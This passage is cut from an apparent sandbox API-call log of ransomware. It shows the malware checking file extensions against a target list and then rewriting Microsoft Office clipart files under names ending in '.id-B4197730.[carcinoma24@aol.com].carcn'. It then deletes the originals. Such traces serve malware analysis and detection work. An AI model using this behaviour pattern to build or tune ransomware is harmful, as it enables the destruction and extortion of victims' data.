Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0305.189] lstrlenW (lpString=".zip") returned 4 [0305.189] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0305.189] lstrlenW (lpString=".rar") returned 4 [0305.189] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0305.189] lstrlenW (lpString=".bz2") returned 4 [0305.189] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0305.189] lstrlenW (lpString=".7z") returned 3 [0305.189] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0305.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0305.189] lstrlenW (lpString=".dbf") returned 4 [0305.189] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0305.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0305.189] lstrlenW (lpString=".1cd") returned 4 [0305.189] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0305.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0305.189] lstrlenW (lpString=".jpg") returned 4 [0305.189] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0305.190] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.190] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0305.191] GetLastError () returned 0x0 [0305.191] ReadFile (in: hFile=0x334, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x462c, lpOverlapped=0x0) returned 1 [0305.203] WriteFile (in: hFile=0x35c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x4630, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x4630, lpOverlapped=0x0) returned 1 [0305.204] ReadFile (in: hFile=0x334, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0305.204] WriteFile (in: hFile=0x35c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0305.204] SetEndOfFile (hFile=0x35c) returned 1 [0305.204] CloseHandle (hObject=0x35c) returned 1 [0305.205] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.205] SetEndOfFile (hFile=0x334) returned 1 [0305.206] CloseHandle (hObject=0x334) returned 1 [0305.206] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.206] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif")) returned 1 [0305.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0305.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0305.207] lstrlenW (lpString=".doc") returned 4 [0305.207] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0305.207] lstrlenW (lpString=".docx") returned 5 [0305.207] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0305.207] lstrlenW (lpString=".pdf") returned 4 [0305.207] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0305.207] lstrlenW (lpString=".xls") returned 4 [0305.207] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0305.207] lstrlenW (lpString=".xlsx") returned 5 [0305.207] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0305.207] lstrlenW (lpString=".ppt") returned 4 [0305.207] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0305.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0305.207] lstrlenW (lpString=".zip") returned 4 [0305.207] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0305.207] lstrlenW (lpString=".rar") returned 4 [0305.207] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0305.207] lstrlenW (lpString=".bz2") returned 4 [0305.207] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0305.207] lstrlenW (lpString=".7z") returned 3 [0305.207] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0305.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0305.207] lstrlenW (lpString=".dbf") returned 4 [0305.208] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0305.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0305.208] lstrlenW (lpString=".1cd") returned 4 [0305.208] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0305.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0305.208] lstrlenW (lpString=".jpg") returned 4 [0305.208] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0305.208] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.208] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0305.209] GetLastError () returned 0x0 [0305.209] ReadFile (in: hFile=0x334, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x62b1, lpOverlapped=0x0) returned 1 [0305.219] WriteFile (in: hFile=0x35c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x62c0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x62c0, lpOverlapped=0x0) returned 1 [0305.220] ReadFile (in: hFile=0x334, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0305.220] WriteFile (in: hFile=0x35c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0305.220] SetEndOfFile (hFile=0x35c) returned 1 [0305.221] CloseHandle (hObject=0x35c) returned 1 [0305.221] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.221] SetEndOfFile (hFile=0x334) returned 1 [0305.222] CloseHandle (hObject=0x334) returned 1 [0305.222] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.222] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif")) returned 1 [0305.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0305.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0305.226] lstrlenW (lpString=".doc") returned 4 [0305.226] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0305.226] lstrlenW (lpString=".docx") returned 5 [0305.226] lstrcmpiW (lpString1=".docx", lpString2="4.GIF") returned -1 [0305.226] lstrlenW (lpString=".pdf") returned 4 [0305.226] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0305.226] lstrlenW (lpString=".xls") returned 4 [0305.226] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0305.226] lstrlenW (lpString=".xlsx") returned 5 [0305.226] lstrcmpiW (lpString1=".xlsx", lpString2="4.GIF") returned -1 [0305.226] lstrlenW (lpString=".ppt") returned 4 [0305.226] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0305.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0305.226] lstrlenW (lpString=".zip") returned 4 [0305.227] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0305.227] lstrlenW (lpString=".rar") returned 4 [0305.227] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0305.227] lstrlenW (lpString=".bz2") returned 4 [0305.227] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0305.227] lstrlenW (lpString=".7z") returned 3 [0305.227] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0305.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0305.227] lstrlenW (lpString=".dbf") returned 4 [0305.227] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0305.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0305.227] lstrlenW (lpString=".1cd") returned 4 [0305.227] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0305.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0305.227] lstrlenW (lpString=".jpg") returned 4 [0305.227] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0305.228] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.228] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0305.231] GetLastError () returned 0x0 [0305.231] ReadFile (in: hFile=0x35c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x3801, lpOverlapped=0x0) returned 1 [0305.243] WriteFile (in: hFile=0x398, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x3810, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x3810, lpOverlapped=0x0) returned 1 [0305.244] ReadFile (in: hFile=0x35c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0305.244] WriteFile (in: hFile=0x398, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0305.244] SetEndOfFile (hFile=0x398) returned 1 [0305.245] CloseHandle (hObject=0x398) returned 1 [0305.245] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.245] SetEndOfFile (hFile=0x35c) returned 1 [0305.246] CloseHandle (hObject=0x35c) returned 1 [0305.246] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.246] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif")) returned 1 [0305.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0305.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0305.247] lstrlenW (lpString=".doc") returned 4 [0305.247] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0305.247] lstrlenW (lpString=".docx") returned 5 [0305.247] lstrcmpiW (lpString1=".docx", lpString2="6.GIF") returned -1 [0305.247] lstrlenW (lpString=".pdf") returned 4 [0305.247] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0305.247] lstrlenW (lpString=".xls") returned 4 [0305.247] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0305.247] lstrlenW (lpString=".xlsx") returned 5 [0305.247] lstrcmpiW (lpString1=".xlsx", lpString2="6.GIF") returned -1 [0305.247] lstrlenW (lpString=".ppt") returned 4 [0305.247] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0305.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0305.247] lstrlenW (lpString=".zip") returned 4 [0305.247] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0305.247] lstrlenW (lpString=".rar") returned 4 [0305.247] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0305.248] lstrlenW (lpString=".bz2") returned 4 [0305.248] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0305.248] lstrlenW (lpString=".7z") returned 3 [0305.248] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0305.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0305.248] lstrlenW (lpString=".dbf") returned 4 [0305.248] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0305.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0305.248] lstrlenW (lpString=".1cd") returned 4 [0305.248] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0305.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0305.248] lstrlenW (lpString=".jpg") returned 4 [0305.248] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0305.248] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.248] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0305.249] GetLastError () returned 0x0 [0305.249] ReadFile (in: hFile=0x35c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x148b, lpOverlapped=0x0) returned 1 [0305.282] WriteFile (in: hFile=0x398, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x1490, lpOverlapped=0x0) returned 1 [0305.283] ReadFile (in: hFile=0x35c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0305.283] WriteFile (in: hFile=0x398, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0305.283] SetEndOfFile (hFile=0x398) returned 1 [0305.283] CloseHandle (hObject=0x398) returned 1 [0305.283] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.283] SetEndOfFile (hFile=0x35c) returned 1 [0305.284] CloseHandle (hObject=0x35c) returned 1 [0305.284] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.284] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif")) returned 1 [0305.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0305.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0305.285] lstrlenW (lpString=".doc") returned 4 [0305.285] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0305.285] lstrlenW (lpString=".docx") returned 5 [0305.285] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0305.285] lstrlenW (lpString=".pdf") returned 4 [0305.285] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0305.285] lstrlenW (lpString=".xls") returned 4 [0305.285] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0305.286] lstrlenW (lpString=".xlsx") returned 5 [0305.286] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0305.286] lstrlenW (lpString=".ppt") returned 4 [0305.286] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0305.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0305.286] lstrlenW (lpString=".zip") returned 4 [0305.286] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0305.286] lstrlenW (lpString=".rar") returned 4 [0305.286] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0305.286] lstrlenW (lpString=".bz2") returned 4 [0305.286] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0305.286] lstrlenW (lpString=".7z") returned 3 [0305.286] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0305.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0305.286] lstrlenW (lpString=".dbf") returned 4 [0305.286] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0305.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0305.286] lstrlenW (lpString=".1cd") returned 4 [0305.286] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0305.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0305.286] lstrlenW (lpString=".jpg") returned 4 [0305.286] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0305.287] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.287] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0305.288] GetLastError () returned 0x0 [0305.288] ReadFile (in: hFile=0x35c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x409f, lpOverlapped=0x0) returned 1 [0305.436] WriteFile (in: hFile=0x398, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x40a0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x40a0, lpOverlapped=0x0) returned 1 [0305.437] ReadFile (in: hFile=0x35c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0305.437] WriteFile (in: hFile=0x398, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0305.437] SetEndOfFile (hFile=0x398) returned 1 [0305.437] CloseHandle (hObject=0x398) returned 1 [0305.438] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.438] SetEndOfFile (hFile=0x35c) returned 1 [0305.445] CloseHandle (hObject=0x35c) returned 1 [0305.445] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.445] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif")) returned 1 [0305.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0305.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0305.446] lstrlenW (lpString=".doc") returned 4 [0305.446] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0305.446] lstrlenW (lpString=".docx") returned 5 [0305.446] lstrcmpiW (lpString1=".docx", lpString2="0.GIF") returned -1 [0305.446] lstrlenW (lpString=".pdf") returned 4 [0305.446] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0305.447] lstrlenW (lpString=".xls") returned 4 [0305.447] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0305.447] lstrlenW (lpString=".xlsx") returned 5 [0305.447] lstrcmpiW (lpString1=".xlsx", lpString2="0.GIF") returned -1 [0305.447] lstrlenW (lpString=".ppt") returned 4 [0305.447] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0305.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0305.447] lstrlenW (lpString=".zip") returned 4 [0305.447] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0305.447] lstrlenW (lpString=".rar") returned 4 [0305.447] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0305.447] lstrlenW (lpString=".bz2") returned 4 [0305.447] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0305.447] lstrlenW (lpString=".7z") returned 3 [0305.447] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0305.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0305.447] lstrlenW (lpString=".dbf") returned 4 [0305.447] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0305.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0305.447] lstrlenW (lpString=".1cd") returned 4 [0305.447] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0305.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0305.447] lstrlenW (lpString=".jpg") returned 4 [0305.447] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0305.448] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.448] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0305.449] GetLastError () returned 0x0 [0305.449] ReadFile (in: hFile=0x35c, lpBuffer=0x3b15020, 